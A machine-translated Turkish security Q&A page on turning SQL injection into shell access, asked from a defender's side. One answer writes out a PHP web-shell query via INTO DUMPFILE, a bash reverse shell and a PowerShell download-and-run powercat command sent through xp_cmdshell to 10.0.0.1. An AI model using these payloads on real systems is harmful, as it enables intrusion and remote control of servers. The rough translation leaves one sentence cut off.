it-swarm-tr.com

Shell'den SQL enjeksiyonundan yararlanma

Anladığım kadarıyla, SQL enjeksiyonu sadece verilerin manipülasyonuna ve alınmasına izin vermeli, başka bir şey değil. Parola alınmadığı varsayılarak, basit bir SQL enjeksiyonu bir kabuktan yararlanmak için nasıl kullanılabilir?

Bunun mümkün olduğu iddia edilen saldırıları gördüm ve eğer öyleyse buna karşı korunabilmek istiyorum.

20
Sonny Ordell

Birçok yaygın SQL sunucusu, keyfi komutların yürütülmesine izin veren xp_cmdshell gibi işlevleri destekler. Bunlar SQL standardında değildir, bu nedenle her veritabanı yazılımının farklı adları vardır.

Ayrıca, veritabanı kullanıcısının izinleriyle rasgele dosyalar yazmak için kullanılabilecek SELECT ... INTO OUTFILE vardır. Cron tarafından veya başlangıçta çağrılan Shell komut dosyalarının üzerine yazmak mümkün olabilir. Veritabanı sunucusu işlemi bir web uygulamasıyla aynı sunucuda çalışıyorsa (örneğin, kiralanan tek bir sunucu), .php dosyaları yazmak mümkün olabilir içinde uygun URL'yi ziyaret ederek çağrılabilir tarayıcı.

Zarar vermenin üçüncü yolu, veritabanında saklı yordamlar tanımlamak ve yürütmektir. Veya şifreleri doğrulayan bir işlev gibi mevcut saklı yordamları yeniden tanımlayın.

Muhtemelen daha fazla yol var.

Uygulama veritabanı kullanıcısının Shell işlevlerini yürütme veya INTO OUTFILE kullanma veya saklı yordamları tanımlama izinleri olmamalıdır.

25

Shell'i almanın birkaç yolu vardır. İşte bunlardan bazıları. Alttaki bağlantı sizi MSSQL, Oracle, MySQL ve daha fazlası gibi birçok veritabanı için mükemmel hile sayfalarına götürmelidir.

Shell'i almak için iyi bir ipucu, arka cebinizde bu ters Shell hile sayfası .

Outfile

Kabuğu sunucuya nereye koyacağınızı biliyorsanız (erişilebilir bir yerde), örneğin web sunucusunda bir php Shell oluşturmak için aşağıdaki sorguyu (mysql) kullanabilirsiniz:

SELECT '<?php exec($_GET[''cmd'']); ?>' FROM mytable INTO dumpfile ‘/var/www/html/Shell.php’

Shell'i nereye koymanız gerektiğini bulma

Etki alanı dizininin nerede olduğunu bilmeniz gerekir. Veritabanının nerede çalıştığını öğrenmek yardımcı olabilir, böylece bunun gibi bir enjeksiyon sorgusu (mysql) dizin mimarisinden bahsedebilir:

SELECT @@datadir;

Sistemden gelen herhangi bir hata mesajını, nerede çalıştığını size bildirmeye zorlarsanız da şanslı olabilirsiniz. Genellikle bu yaklaşım en kolay olanıdır çünkü birçok hata mesajı çok

Yerleşik DB işlevlerini kullanma (xp_cmdshell)

MSSQL, yerleşik xp_cmdshell işlevini kullanarak işletim sistemi işlevlerini çağırmanın nispeten kolay bir yoluna sahiptir. MySQL'de o kadar kolay değildir (genellikle dış dosya veya saklı yordam gerektirir). Oracle Java kodunun yürütülmesine izin verdiğinden) oldukça kolaydır.

EXEC xp_cmdshell 'bash -i >& /dev/tcp/10.0.0.1/8080 0>&1'

Yukarıdaki ifade, 10.0.0.1 bağlantı noktası 8080'de etkileşimli bir (-i) Kabuk oluşturur.

Edit : Tabii ki Bash ile MSSQL gerçekten olası değil. Yorum görmeden önce bunu düşünmedim. Bash yerine, bunun yerine ters Powershell betiği yapılabilir:

EXEC xp_cmdshell 'powershell -NoP -NonI -Exec Bypass IEX (New-Object Net.WebClient).DownloadString("http://10.0.0.1:8080/powercat.ps1");powercat -c 10.0.0.1 -p 443 -e cmd' 

Powercat buradan indirilebilir: https://github.com/besimorhino/powercat

Saklı yordamlar aracılığıyla kabuk

Bir enjeksiyon noktasındaki sorguları birleştirebiliyorsanız, büyük olasılıkla veritabanında yordamlar oluşturabilirsiniz. Bu prosedürler, daha sonra quries ile çağırabileceğiniz işlevler olarak çalışır.

Bununla ilgili daha fazla bilgi için bkz --- PL SQL'den Shell komutları .

Diğer

Enjeksiyon için iyi bir kaynak: pentest maymun

14
Chris Dale

Bir Oracle veritabanı ile, aslında derlemek ve yürütmek Java SQL sorgusu kodu. Saldırganların Java ve SQL enjeksiyonundan çalıştırın ve derleyin.

4
chris